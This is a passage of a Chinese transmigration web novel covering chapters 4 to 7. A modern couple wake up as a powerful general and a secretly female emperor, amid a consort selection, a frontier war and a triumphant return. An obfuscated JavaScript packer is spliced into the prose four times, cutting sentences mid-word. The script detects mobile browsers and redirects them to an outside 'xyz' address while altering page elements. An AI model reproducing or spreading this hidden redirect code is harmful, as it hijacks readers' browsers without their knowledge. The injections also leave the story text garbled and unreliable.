“这不是皇上才登基半年,后宫人少嘛,我还以为皇上就是单纯不近女色呢,这半年也没急着充实后宫。”林明远嘴里包着肉,边吃边唠,“这下好了,皇上不仅要大肆选秀,还要求凡有头有脸一点的家族里没有婚配的适龄女子都要参与选秀。” “这可不得了,好多人呢!据说这次还不让少府筛名单,怕是皇上眼睛都要挑花来。”他咽下饭菜,将碗筷搁在桌上,说着说着兴奋得简直是要手舞足蹈起来。 “嗯。”季桐表面上淡淡地点了点头,“你兴奋个什么劲儿?” 那时间线没错啊,皇帝登基半年是小说才开始不久吧,这也是背景里提到的皇帝登基后威麟大将军第一次北征。 季桐心说不太妙,怕是有什么变故,她平常看系统文看得也不少,通常就是因为有变故,才需要穿书人士来稳定核心剧情。 核心剧情是什么? 种田文当然是种田了! 这么铺张的选秀,变故说不定跟女主有关。 “大哥,季家旁支这么多,自然是季家姑娘好好发挥的时候了,你就没想过自家能出个皇后来?”林明远贼兮兮地凑过来。 季桐不置可否。 “我下午出去一趟,你有事看着办。”她丢下一句话,“吃快点,下午还有训练。” “哦哦!好勒!” —— 中午的阳光刺眼。 季桐嘱咐了几句,就策马扬鞭一个人去了附近的哑泉镇。 她要见见这本书的男女主。 路过一家人户养的小狗时,她下马摸了摸,黑白相间的长毛,跟她以前想养的一只边牧很像。 是她在宠物店看到的,只可惜,只是有事去忙了一趟,回来就已经被别人买走了。 终究是有缘无分。 正在她愣神的时候,一个老伯叫住了她,“大将军!哎哟,真是大将军,我还以为我老眼昏花认错了呢!” “您是?”季桐蹲着身子微微抬眼就将佝偻的老伯全部收于视线中。 “将军不认识草民,草民只是得了将军来征战的好,如果不是将军您来,这哑泉镇早没了。”老伯叹着气,说完立马又笑起来,“将军喜欢这只小狗吗?这是我们家大黄生的第二窝了!大黄可乖了,温顺不伤人,又会看家护院,可聪明了!它下的崽都顶好!” “谢谢老伯,但是我现在还有点事,有缘的话我会回来买它。” “哎哟大将军,说什么买不买的,肯定是送给将军啊。” “对了老伯,你知道古重韧家在哪儿吗?”这老伯一看就是哑泉镇的老人了,对这些事不会不清楚,季桐问一句也懒得再找其他人一路问。 老伯笑容收了起来,颤颤巍巍道:“将军是来征兵的吗?” “我不管这种小事。”季桐摇了摇头站起身,“只是找他问个话。” “那草民带将军去吧。”老伯将小狗抱回了篓子,再将篓子小心放进了屋。 哑泉镇景色不错,偏远地区,人烟不算太多,但街道也是干净整齐,摆摊的小贩很少,大部分都因为秋日风沙大而紧闭门户。 为了配合老伯的步伐,季桐也没有骑马,而是牵着马慢慢走,一路顺便看了看周围民生怎么样。 不得不说,这大邑繁荣昌盛是真实的,在古代能看到这么好的偏远地区很难得。 随即季桐又无语地笑了,也对,这是书里嘛,架空的,又不是真的古代。 很快,季桐跟着老伯到了一家农家小院,推开篱笆,里面小鸡仔叽叽喳喳吵个不停,伴随着一声清脆甜美的声音:“古郎,快来帮帮我。” 小姑娘转身,脸上的笑容立马收敛起来,丢了手里的竹篮,局促不安地搓着自己的围裙,“姜伯伯,这是……” 确实是女主桂清离,符合文里的描述,有一颗大大的泪痣,长相甜美可人。 季桐感觉出对方有些怕她,于是没有上前,等待老伯介绍。 “这是威麟大将军!”姜伯伯忙笑着说,“将军说来问点事儿,不是征兵,不是征兵,不要怕。” “哦哦。”桂清离挤出一个客套的笑容,“大将军里面请坐,我们这儿也没什么好招待您的,不要嫌弃。” 招呼完季桐,桂清离又喊着姜伯一起吃饭,姜伯摆摆手说自己家还有活儿没干完,桂清离没有强留。 等季桐在屋内坐下,男主也从后院过来了。 古重韧不愧是男主,外貌虽然不是一等一的容色,但面部硬朗,下颌线分明,肤色呈健康的古铜色,有风吹日晒的粗糙感,却眼神清澈爽朗。 身材也挺好。 但是没我好——季桐在心里说道。 “这位是?”古重韧皱着眉有点敌意。 “这是威麟大将军。”桂清离使了个眼色,叫他好好说话。 古重韧立马行了一礼,“草民古重韧叩见威麟大将军。” “倒也不用这样……”季桐抬了抬手,“如今是在外征战,我不摆什么官威,只当我是个打仗的。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128231|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢将军。”古重韧起身,“不知将军来是所谓何事?” “我前些时间已经派人给你们回了话,征兵这事我不管,愿意出财也算是出了力。”季桐给了他们定心丸。 “那将军可是为了选秀一事?”古重韧急切道,“清离断不能参与选秀,她……她已与我私定终身。” 季桐:“?” 不管哪个朝代,未经选看的秀女私定终身可是杀头的罪。 季桐愣了一瞬间,她原本是来看看男女主生活相较文中有什么改变,却没想到居然真的是今天林明远提到过的选秀一事。 可选秀不是只有世家女子才能参选吗。 见季桐皱着眉,古重韧立马道:“将军,若是桂家来催,草民是万万不肯的,桂家仗着自己是绥石州最大的织造局,竟然欺负清离,明明家里有一个女儿可以参与选秀,却非要清离去。” 季桐这下听懂了,男主觉得她是来棒打鸳鸯的,帮桂家说话。 只是原文中好像并没过多提及女主身世,是蝴蝶效应吗。 “你把事情原原本本说清楚,不然本将军没法替你做主。”季桐给了准信儿。 “是!”古重韧眼里最后一丝敌意散去,燃起了希望。 “那,那我去准备些菜肴好好招待将军!”一旁听着的桂清离喜上眉梢,转身往厨房去的时候像只喜鹊,蹦蹦跳跳的。 听了半晌,季桐终于弄清楚了来龙去脉。 桂清离是桂家的亲生女儿,却在小时候被乳娘拐走,与之相反,乳娘的孩子做了桂家千金十八年。 桂清离在三个月之前才与亲生父母相认,但才住了七天,就又因为被诬陷偷了桂家祖传的玉镯而被赶了出来。 哑泉镇是属绥石州统辖的,离得不算太远,但这里却能让桂清离远离不想见到的人,于是就在这里安了家。 直到前几天选秀一事传开,桂家又不要脸地找上了桂清离,想要她参加选秀,说什么数不尽的荣华富贵云云。 桂清离却知道,是因为她的姐姐有喜欢的人,不愿意去选秀,才把主意又打到了她身上。 这不就是个真假千金的故事嘛,季桐挑眉。 “我明白了。”季桐点头。 该死的傻呗皇帝突然选什么秀啊,要真把女主选上去还得了啊? “我会传书给绥石织造局说明此事,明面上他们不会想闹得难看,尽可放心就是。” “多谢威麟大将军!”古重韧又跪下行了一个大礼,“将军大恩无以为报!这里也没有什么好招待将军的,就请留下吃顿便饭吧。” 半推半就下季桐留下吃了晚饭,不得不说,不愧是女主! 第一道菜是烧鹅,琥珀色脆皮如琉璃般透亮,季桐咬下时嘴边一声脆响,烧鹅的皮下脂肪立刻融化成汁,肉质细嫩,带着果木香。 第二道有些像麻婆豆腐,却不一样,味道淡了很多,但也非常嫩滑美味,桂清离说是新引进的番椒做的,叫番椒豆腐。 第三道是火炙羊肉,边缘微焦,肉质外酥里嫩。 虽然只有三道,却分量很大,都是拿两个脸盘子那么大的盆装的。 豪吃! 不比她以前两个月才能预定一次的梦天阁饭菜差! 梦天阁要一顿五千起步,而女主做的,免费! 特么的死男主,吃的真好啊。 季桐吃的有些迷糊了,在军营里哪里吃过这么好的伙食,穿来这些天了,头一次觉得这才是人过的生活。 要不……她也跟着女主种田吧。 5. 第五章 美美地吃完饭,季桐在摇摇乐竹椅上小瘫了一会儿,考虑了一下跟着女主种田的可行度。 为零。 外面天色暗沉了一些。 桂清离笑得腼腆,戳了戳一旁的古重韧,让他问大将军要不要在她家里留宿。 终究季桐没有如愿,到了天色将晚的时候,一个校尉找了上来,说是有紧急情报需要处理,季桐念念不舍地拒绝了小夫妻俩的留宿请求。 一路回去的时候季桐问了原由。 李校尉脸色苍白,“北狄有动作,但还不确定,骠骑将军正找您要议事呢。” 啊这。 不会真要打仗了吧,不要啊,她自从穿来之后还没真搁战场上杀过人呢。 季桐一脸黑线地往回赶,周身气压极低,吓得来接她的一众黑甲亲兵不敢发言。 —— 皇宫。 秦笙正在勤政殿批折子。 这些日子他除了想各种方法找季桐也没什么别的事,只能勤于政务,就当是在上班,折子看得多了,再结合原主那模模糊糊的记忆,才知道系统那轻飘飘的一句“权势滔天”是什么级别的危险事。 怪不得原主没有与威麟大将军发生爱情火花,就这个势如水火的关系,火化还差不多。 这朝堂上有将近一半的人都是季家所属,而剩下的人里有一大部分皇帝都还在笼络中。 忌惮这个威麟大将军简直是情理之中啊,这搁谁也不能爱上吧。 片刻后,掌事太监前来通传,说安贵妃娘娘求见。 秦笙点了点头。 安贵妃提着一盒食点慢步走了进来,轻轻搁在桌上,又摒退了周围服侍的太监宫女。 秦笙因为一上午都肚子有些温疼,没什么食欲,目光落到了安贵妃身上。 等人完全散去后,安贵妃噘着嘴扑向他怀里—— 秦笙身子往后一让,安贵妃扑了个空,手肘磕在了龙椅扶手上。 “啊!”安贵妃皱着眉爬起来,“好痛啊,皇上~” “有事说事。”秦笙正襟危坐,目不斜视。 “还不是皇上您最近出入都不让御前的掌事姑姑陪同,臣妾担心啊。”安贵妃挤着自己的软绵身子一直往上凑,“快来摸摸,最近臣妾胸有没有变大——” 秦笙被挤得没办法,直接站了起来,安贵妃整个人扑了个空,挂到了龙椅上横着,胳膊都碰出了个青於。 “好好说话。”秦笙板了脸,安贵妃才收起了玩笑的面孔。 秦笙有印象,原主记忆里是个不苟言笑的皇帝,也勤勉于政务,虽然私下里与安贵妃交好,却并不经常接受对方的玩笑,时时刻刻警惕着自己的身份。 安贵妃委屈巴巴地爬起来,后退了几步,行了个礼,“臣妾说的是翠兰啊,您出入不让翠兰陪同会出事的。” 秦笙皱着眉回忆了一下,但原主记忆有些模糊,实在是找不出什么有用的信息。 “皇上~”安贵妃眼见着又要往上凑,秦笙拉开了一点距离,安贵妃再次向前,悄悄道:“皇上,月事应该要到了,小心点。” “……” 啊? 秦笙愣了几秒。 他联想到自己温疼了一早上的肚子,原来是小腹在痛。 见皇帝皱眉,安贵妃勾起嘴角,哒哒哒几步跑到她放下的食盒前,打开了食盒盖子,小声道:“皇上,快来尝尝,臣妾今天刚炖好的桂圆红枣羹,还有红糖姜茶。可不许耍赖的,喝了来月事才不会头一天就开始痛。” 安贵妃垫着布条将两个罐子小心端出来,“皇上,您也不想耽误政事吧?” “嗯,搁这儿吧。”秦笙接受了好意。 安贵妃离开后,秦笙又着人将御前掌事的姑姑翠兰喊了回来。 原本他只是有些不习惯周围女子太多,又想到翠兰是知晓原主性别的,指派去其他宫里他不放心,于是就打发她去伺候太后了。 说实话,他是真没想过还有这一茬。 下午他提前结束了今天的上班时长。 早早地瘫在了自己的寝宫。 456:【激动吗!兴奋吗!宿主宿主,您人生中第一次来月经马上就开始了哦!我花2积分给你开了预报哦,还有三十分钟!】 秦笙双手张开呈大字型躺在床上:“谢谢,我更希望是下辈子再来。” 他现在小腹一阵一阵地痛,每一次都像上刑,但不久前喝的那两碗糖水又使肚子里暖烘烘的,削弱了这种痛感。 他以前每个月也会给季桐熬好红糖水,但季桐身体好,从来不喝。 除非冰镇。 呵。 抱歉,女友月经期间递冰镇饮料这种事他做不到,所以他也就不再熬了。 456:【宿主,我劝你现在就垫好月事带哦,不然等会血迹沾到床上还得叫翠兰帮忙。】 秦笙:“哦。” 秦笙:“我更想问,你哪儿来那么多积分干这些不正经的事。” 456卡壳了一下,随即发出一个笑嘻嘻的表情:【宿主,我还有20点积分余额,是上个世界剩的,后面如果还需要兑换什么的话,需要你自己赚取积分哦,实在不行,拿你的阳寿垫付也是可以的,一比一。】 “不行!” 秦笙坐了起来,“所以,你的积分是通过宿主做任务,你抽成?” 456:【是的宿主。】 “抽成比例多少?” 456:【10抽1哦。】 那还行。 秦笙又躺了回去。 “能不能帮我买卫生巾,啊不,卫生巾的制作方法。” 456:【抱歉哦宿主,我们这里不是科技兴国赛道,是言情修补赛道,没有这些东西可以兑换。】 456:【您的首要任务是与威麟大将军搞好关系,通过大将军来安邦定国,而不是自己搞事业呢。】 “谢邀,我不想搞事业,我没那么大野心,我就是想垫个卫生巾。” 秦笙双眼无神地盯着金黄色的床帘。 456:【宿主还是去垫月事带吧,还是挺方便的,而且翠兰准备的月事带料子都是选用的最好的布料,不磨皮肤的。】 在系统的不断催促下,秦笙还是去隔间垫上了月事带,垫之前还问456它眼睛打不打码。 456没有五官的脸上透露出一种不可置信,然后狂点头:【宿主!你把我想成什么样的系统啦?肯定会打码的呀!我们系统可是非常尊重宿主的!】 行吧。 秦笙手忙脚乱地弄好了月事带,固定好后,又回到了寝殿床上,“这个东西多久换一次?我记得季桐换卫生巾都是三小时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128232|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一换,如果古代也换这么勤,那很难掩饰吧?” 456:【原主量小,宿主可以上午换一次,下午换一次,晚上睡前换一次,就差不多了,每次翠兰都会来处理月事带的。】 这是他人生第一次经历来月经,下面血液翻涌的感觉很奇怪,小腹坠痛,连带着后腰也不舒服,喉咙也不舒服,走路也难受。 原来女孩子这么不容易,他以前只知道来月经有一部分人会腹痛,却没有想到腹痛还连带着各种各样的关联影响。 幸好,季桐从不痛经。 晚膳后翠兰来收取用过的月事带时,秦笙秉持着多说多错不说不错的原则,板着脸递了过去,然后又瘫回了床上。 没躺多久,安贵妃又提着饭后甜点来了。 她四下张望,做贼似的放下食盒,确定门外门内都没有其他人,一个飞扑过来。 “笙笙~你最近都不跟我贴贴了,你是不是不爱我了,虽然以前你也不怎么贴贴,但是,最近真的太冷淡了,我有点不习惯呜呜。”说着说着安贵妃就要爬到床上来了。 “安乐佑!” 眼见安贵妃已经半个身子挂在床栏边上,秦笙吓得飞速后退,“朕…朕乏了,要休息。” 安贵妃愣了好几秒,脸色忽然变得青白,然后光速地整理了一下衣裳,手脚并用地下了床,连“臣妾告退”这几个字都忘了说,就跑出了殿外。 秦笙惊魂未定。 然后后知后觉问456:“她,怎么了?” 456:【宿主,你以前不看穿书文吗?目前这种情况来说,可能是ooc导致的。】 秦笙皱着眉,懂了。 他确实扮演不好原主。 也许安贵妃已经发现了他的不对劲,说不定已经发现了他不是原主。 毕竟这安乐佑跟原主是十多年的好友了。 但他实在是不习惯女性离自己太近。 他需要想个办法来解决这个困境,但究竟用什么理由,他还没想好。 很快,安贵妃又回来了,身后还跟着锡太医。 安贵妃又换回了那副甜美的笑容,仿佛刚刚什么都没发生,一边招呼着锡太医,“快来快来,我瞧着皇上不太舒服,脸色也太差了,会不会是前些日子受了风寒没好透。” “是。”锡太医行了礼,“那微臣替皇上把脉。” 秦笙不知道安贵妃卖的什么关子,但还是顺着她做了,伸手给了锡太医。 “皇上心思郁结,可是有什么焦虑之事,还请皇上多放宽心绪。”锡太医皱着眉,望了一眼秦笙,又回头望了一眼安贵妃。 “啊。”安贵妃摸了摸自己的发钗,似乎是没话找话,“皇上最近是不是记性不太好,还是说有没有可能风寒会使人脑内结淤之类的?” 锡太医立马跟上捧哏:“正是如此,风寒确实是会使人脑内结淤,失去一些记忆也是寻常之事,只需慢慢调养即可,安贵妃是皇上心尖尖上的人,若是有什么想不起来的,尽可与安贵妃多多交谈。” 秦笙挑眉。 他好像知道这两个人在演什么戏码了。 于是秦笙在脑子里问系统:“安贵妃知道我不是原主了吧?” 456:【看起来好像是的!QAQ】 秦笙心里给了它个白眼:“算了,就多余问你。” 6. 第六章 安贵妃这是在给他找台阶下。 虽然不知道为什么安贵妃这么快就接受了自己闺蜜换了个人的事,但原本他就正愁找不到办法解决这困境,安贵妃就立马给他找好了理由,那怎么能不接这份好意。 “嗯,麻烦安贵妃和锡太医了。”秦笙抬手示意锡太医起身。 安贵妃变得客套起来,“皇上,那有什么不习惯的就找臣妾就好,臣妾永远都站在您这一边。” 说着她规规矩矩地行了个礼,“当然,锡太医也是。” 锡太医也行了个大礼,“微臣与安贵妃对皇上忠心耿耿,天地可鉴,只要皇上能容得下人,微臣绝不多嘴。” 秦笙听出了一丝丝威胁的意味,但还是点了点头,把话挑明:“放心吧,十多天前朕没有发难,就该知道朕没有这个意思,朕不能人道,安贵妃与你相互慰藉实属正常。” 安贵妃:“……倒也不用说这么明白。” 锡太医:“……” 气氛微僵了一会儿,安贵妃打开桌上的食盒,“皇上,喝点臣妾新炖的枸杞燕窝羹,补身体正好。” 秦笙:“补再好也用不了。” 安贵妃一愣,随即扬起花儿般的笑容,“可见皇上还能说笑,肚子便是不疼了。” 秦笙也无语地笑了,“行了,都回去吧,让翠兰带人守在殿外即可。” “是。” 两人行了礼,退出了寝殿。 456往外张望:【你们在打什么哑谜?】 秦笙:“你那个脑子就别胡思乱想了。” 456:【你不要怀疑我的敬业程度!我其实也还是很聪明的,等任务目标出现之后你就知道了,哼哼!】 秦笙假装没有听到。 现在前线战事吃紧,虽然国库充盈也不得不节省些银子,选秀一切从简。 但当选秀前一天秦笙真的到麟德大殿试坐的时候,他依然感受到了什么叫劳师动众。 麟德殿布置得很精细,从各处装点到备用茶具,都颇为奢靡,虽然知晓这些东西只是从库房挪出来用,但也有些于心不安。 选秀之前他也稍微了解过选秀的范围,大致年龄是在十六岁到二十岁,家世范围则宽泛的多,上至王公贵族,下至各地方的有权商户,但凡是稍微有头有脸些的都可以参与选秀。 以往会由少府这个部门来筛选名单。 但这次秦笙去掉了这个步骤,导致秀女人数高达四千八百余人。 如果五人一批,一批只看一分钟,得分两天才能看完,如果十人一批也得从早到晚看八个小时,堪比上班不说,高强度费眼说不定会头晕眼花。 秦笙摆了摆手,对内官监表示位置没问题,他视力还算好,龙椅离秀女站列的位置是刚刚好。 他随意翻看了一下名册,发现厚得翻都翻不完,直接走人。 片刻后,随着一声尖细的“移驾长乐殿”,秦笙坐上了御撵。 他有一个想法,但是需要安贵妃的帮助。 —— “您是说……要给选秀的秀女们出算学题?” 安贵妃眼睛瞪得像铜铃,“不是皇上,您看这合理吗?” 秦笙两手一摊,“很合理啊,总不能后宫账本都由你一个人管,六宫杂事颇多,招进来的人总要能有替你分忧的能力才是。” 一听这话安贵妃更不乐意了,苦着个脸道:“皇上,臣妾不需要旁人分忧。” “好吧,其实朕考算学题另有妙用。”秦笙微笑着,“不会影响你的地位。” “皇上早说啊。”安贵妃离得老远,小拳拳锤了一下空气,“臣妾当然有法子,肯定安排好。” —— 铁门关外。 风沙比关内练兵场更胜。 军帐内季桐已经跟几位副将商议好了作战计划,大战一触即发。 这北狄人倒是耿直,不屑于偷袭。 散会后季桐把这话说给林明远听的时候,林明远都笑得直不起腰来。 “哥!哪有你这样的!”林明远好不容易站稳身形,“还不是你给害的,以往一打仗,对面总想搞点小动作,我们就会搞回去,一来二去,总是北狄在吃亏。要不是你放话说了他们一通,怕是这群蛮子还反应不过来呢!” “那上次粮草被偷袭这个事儿你们反击了吗?”季桐问。 “那当然了!还是你之前教我们的老法子!”林明远拍着胸脯。 季桐挑眉。 行吧,虽然不知道是什么老法子,但这位威麟将军行事确实看起来非常不拘小节。 两人一边整理着战甲和武器,林明远一边给她说着八卦。 “哎哥,说实话,我真的很看好桐妹妹进宫,但桐妹妹身体不好,也不知道这次选秀能不能参加上。” “桐妹妹?” “对啊,以往季大哥可是很疼季桐妹妹的。”林明远调侃着,“若不是这个表妹身子骨弱,怕是早两年提亲的门槛就要被踏破了!” 季桐瞳孔震惊。 怎么还有人跟自己同名同姓的。 而且还是自己表妹! 太吓人了。 “我哪儿有精力管这些事。”季桐随口答了句。 “季大哥不管也好。”林明远附和了一下,又想起别的新鲜事来,“哎哥,你知不知道这次皇上选秀出了算学题!” 季桐摇了摇头。 “我听说选秀往后挪了,昨儿在麟德大殿设了考场,隔上百个隔间出来,说是要考算学题呢!” “啊?” “真的真的,要算得出才能参加殿选,不过也可以请外援一对一辅导,但不能抄袭舞弊。” “还有这种事。”季桐嘴角抽搐。 “什么今有田一块,形如梯田,其广多少步,其末多少步,其高多少步。问该田积几何?若每亩什么来着,然后又问,该田合几亩几分?你说这不是为难人嘛,我感觉我不会算。”林明远还在念叨着。 这皇帝发什么疯。 她确定是穿的这本书吗?该不是穿的同人文吧? 不过…… “你的情报快马加鞭就是为了送这些东西?”季桐斜着瞟了他一眼。 林明远立马憨笑着抱起了自己刚擦完的战甲和武器,马不停蹄地溜出了大帐,“大将军,末将擦完了,末将告退!” 季桐嗤笑一声。 这林副将倒是看着虽然三十多了,实际上心性还不如自己。 —— 经过算学题的考试,选秀当日只留下了九百七十人进行殿选,人数已经大大缩减。 但工作量依然不可小觑。 秦笙从一开始的认真兴奋,到疲惫后的无意识点头:“母后您说什么都好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128233|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 秀女里并没有叫季桐的女孩子,也没有人能答上他的一些试探性问题。 也有长得像的,眼见着皇帝眼睛一亮,太后立马就会顺势多问几句。 但都不是她。 456在旁边飞来飞去,一边说着:【这个呢?你看这个像你未婚妻吗?】 【这个呢这个呢?穿的很异域风情哦!说不定是穿越的哦!】 【这个这个,这个算学题没有请场外援助,算的还特别快!】 【啊啊啊!这个是季家的季如雨小姑娘,真漂亮,OMG!选她!选她!】 秦笙麻木至极。 为了前朝的安稳,秦笙不得不每隔两三批就挑一个,季家的人更是一个都不能放过。 这次选秀季家一共来了四个姑娘,其中一个没请外援没答上题,也就没入殿选,剩下三个姑娘全部中选。 而剩下的九百六十六个人里,秦笙在太后的督促下选了八位,背景都是与季家并不交好的世家。 正如太后所说,不选秀也就罢了,可一旦开始选秀,就不能一个不选,不能拂了那些老臣的面子。 等到一天的疲惫感在龙榻上消弭殆尽时,他开始觉得自己变了。 以前他从不会多看一眼别人。 在他眼里没有性别,只有季桐和其他人。 如今虽然心境没变,却迫不得已一定要仔细观察辨认。 他简直是脏了…… 明明自认为只需一眼,他就能在万千人中认出她,就知道对面是不是她。 实际上却需要试探查问,才敢完全确定那不是她。 都怪456说,如果没有系统,穿书是很容易失忆的。 失忆的她又怎么会记得他。 累得不行的秦笙跌坐在床上,连意识都有些混沌了,在一种名叫绝望的情绪中,喉咙里泛起酸涩感。 季桐会跟别人笑着说话,可后来几乎不会给他好脸色,她只欣赏自己这张脸,在看到腹肌的时候还愿意笑一笑。 如今,连引以为傲的脸也没了,腹肌也没了,还变成了女人。 就算找到季桐,他也没有那个信心,会让季桐爱上自己。 毕竟,还没穿书前,季桐就已经开始挑男模养了,还跟自己说特别想养一只狗。 季桐是不是染上了某种特殊爱好他不知道,但他恨自己年老色衰,又恨那些恬不知耻的男人会粘着季桐。 找了这么多天了一点音讯都没有,他望向窗外的月色,悲哀地想,也许,这里只有他一个人。 如果季桐真的不在这个世界,他要在这里待上整整十年,他宁愿去死。 感受到死意的456吓得一个激灵,连忙挥动自己不存在的白色爪子不停揉搡秦笙。 456:【宿主宿主!不能死啊!死了的话你回去就什么都没了,我绑定你的时候车都压成薯片了呀!】 456:【宿主宿主!你难道希望你的未婚妻就这样去世吗!有足够的能量和积分是可以改写这几秒的!】 …… 是。 他要让季桐活着,那么鲜活强势的生命,怎么肯甘心死在一场意外里。 哪怕,她不再爱他。 他会识趣的,会给她很多空闲时间,会放手,也不会表现得善妒。 只要她能活着,看他一眼就好。 7. 第七章 欢欣胜利的氛围洋溢在各处营帐前。 漆黑的夜色,映着火光,每个士兵的脸上都止不住的笑意和满足,他们大口吃着肉,喝着酒。 夜风拂过,温差大的让人打了个哆嗦。 季桐披了一件外裳,继续陪将士们围坐在篝火旁喝酒烤肉。 没办法,这是她的养生习惯,虽然这副身体顶好,那也得好好保养,别吹感冒了。 战场上的最后一天大邑出奇制胜,折了北狄上万铁骑。 虽然没有斗个数十万大军你死我活的下场,但也终究是分出了个胜负来,以北狄的两位副将被季桐斩于马下而结束。 北狄退兵,只口头承诺不再犯大邑国土,但没有实质性的表示,也是,要真按兵力来算他们还并不怕大邑,也许是怕劳民伤财,又或者粮草不足,后续难以支撑,总之此次战事就此打住。 这场仗一共打了十余天,期间僵持不下的时候很多,因为铁门关外地势平整,只能靠边塞的城墙来做计划,但实际上几乎都是硬打。 这是季桐穿来后第一次真正上战场。 多日练兵后的她对如何打仗已经有了实质性的认知,但没有实操过。 她骑马踏上战场的那一刻,有一点心里发虚,但很快她就不虚了。 季桐以前很爱玩游戏,而且什么类型游戏都玩,每次她都要做最强势最耀眼的那一个,她玩游戏可以说是天赋异禀,上手极快。 就当是游戏好了。 当时她心里这样跟自己说。 但当热血溅潵在她的脸上时,刹那间她还是瞪大了双眼,然后一瞬间后她又继续出刀,不能停。 她感觉到自己浑身血液都在沸腾,咆哮,有一瞬间甚至忘记了自己是个人,只会不停地杀戮,不知疲倦。 像是打了肾上腺素。 直到胜利。 直到整完队后她坐回自己的营帐中,她的心都还激烈地跳动着,没有平复下来。 直到现在围坐在篝火旁庆祝。 她的心才一点点落实在五脏六腑上。 “来!敬大将军!”林明远高举手中的酒碗。 周围的将士也都纷纷高举了酒碗,说出自己的庆祝豪言。 季桐也不推诿,一饮而尽。 她以前酒量就还不错,只是穿过来之后酒量更胜从前了。 季桐望着夜空,星星点点的很闪亮,以前她从来不看夜空,因为她近视,看什么都晃晃的,又不爱戴眼镜。 不过,就算以她少数的观看经历来看,现代的星空没有古代的星空明亮,也许是云太厚,也许是空气不好。 “季大哥!”林明远摇摇晃晃地攀上季桐的肩膀,“走走走,再喝两碗!” 季桐望着周围一片醉醺醺的将士,嫌弃地后退了两步,酒气熏天,难闻。 “休息了。”季桐拂开他,找了个没喝醉的亲兵把人送回他自己的营帐。 —— 第三天,探子来报,北狄军队确实已经撤退,且细作有情报说他们决定先从好啃的楼金兰小国开始。 楼金兰依附大邑,但与大邑实际中间还隔着一个小国,唇亡齿寒,季桐叹了口气,算了,这不是她该考虑的。 行了,终于可以班师回朝了。 该死的终于不用吃这么难吃的饭菜了。 季桐留了五千黑甲军驻守此地,以防变故。 而自己则踏上了回京的归途。 回去的途中不比边塞之地,边塞人烟稀薄可以天天策马狂奔,但回京途中处处都是繁荣城镇。 没进城镇的时候他们可以快速赶路,一旦进城他们就只能缓慢步伐地前行。 一路上整齐划一的马蹄声,伴随着如雨一般的花瓣,所过之处百姓均是叩拜迎接,叩拜过后,季桐能在低垂着眉眼望去,能看到少年郎眼中都闪着崇拜的光,老人脸上都挂满了欣慰,甚至还有人抹着泪,还有姑娘们抛着鲜花。 一两个城镇出现这种情况不稀奇。 靠近边塞的地方出现这种情况也不稀奇。 可这他们行了三天,都已经快到京城了,叩拜盛况不减反增。 说实话一开始季桐是很享受的,甚至有一种自己像古代状元郎一样“打马御街前”的感觉。 可现在嘛…… 百分百有猫腻她不敢确定,但百分之八十是有的。 季桐侧身招了招手,林明远拉了拉缰绳靠近季桐,“怎么了,季大哥。” “叫他们别拜了,从现在起,我们要途经的城镇都不需要百姓叩拜跪迎。”季桐斜眼看了一眼,“给各地方州牧、太守、县令全部都说一遍,以后都不允许百姓叩拜跪迎军队。” “啊这,可是季大哥,新帝登基前您每次班师回朝都是这样的啊。”林明远不解地嘟囔了一句,但还是照做,他立马掉转马头,去后面吩咐。 —— 勤政阁寝宫。 456在秦笙面前飞来飞去,白花花的像个棉花团子在蹦跶。 即使看不到五官,秦笙也能感觉456现在眉飞色舞。 456:【哇哦!大将军班师回朝了哦~再有一天就能到京城了!】 456:【我的天!看看我远程观测到了什么~看看看!大将军居然服软了,给你示好呢!】 “我又看不到你的电视屏。”秦笙无语,“而且服什么服,他现在知道原身是女的了吗,就服软服软的,你脑子里是不是只装了恋爱系统啊!” 456:【QWQ】 456:【宿主,你知道的,我确实是个恋爱系统。】 秦笙:“所以到底看到了什么示好?” 456:【大将军他居然不要百姓叩拜迎接他凯旋了!】 秦笙:“?” 你就看到了这? 秦笙:“你但凡有点用也不至于一点用都没有。” 很明显,这个大将军已经对皇帝有所防备了,如果一直这样蛮横下去不把皇权放在眼里,以后还更好处理,可现在这情况,只能封赏加倍,才能堵住悠悠众口。 好谋算。 他要拟一道圣旨,好好嘉奖这个凯旋而归的大将军。 —— 豫温侯府。 季桐到京城时已经是黄昏时分,而到了府邸才知道,原来她还是个侯爷。 也对,大将军嘛,位高权重,被封侯并不奇怪。 侯府很大,人却不算多,来迎接的一大家子老小十余人,然后就只有后面的仆从了。 季桐上前挨个认了人,原身的母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 